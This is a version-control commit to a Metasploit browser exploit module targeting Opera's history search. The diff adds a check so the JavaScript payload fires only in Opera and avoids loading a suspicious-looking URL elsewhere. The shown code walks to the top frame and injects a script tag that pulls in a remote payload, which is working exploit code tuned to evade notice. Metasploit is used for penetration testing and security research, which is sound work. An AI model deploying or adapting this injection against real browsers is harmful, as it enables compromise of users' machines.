make sure we're running on opera so we don't 404 on a suspicous-looking url if it isn't

git-svn-id: file:///home/svn/framework3/trunk@6963 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/multi/browser/opera_historysearch.rb

@@ -152,12 +152,14 @@ class Metasploit3 < Msf::Exploit::Remote
 			print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
 
 			js = %Q^
+				if (window.opera) {
 					var wnd = window;
 					while (wnd.parent != wnd) {
 						wnd = wnd.parent;
 					}
 					url = location.href;
 					wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--"; 
+				}
 				^
 			content = %Q^
 				#{html_hdr}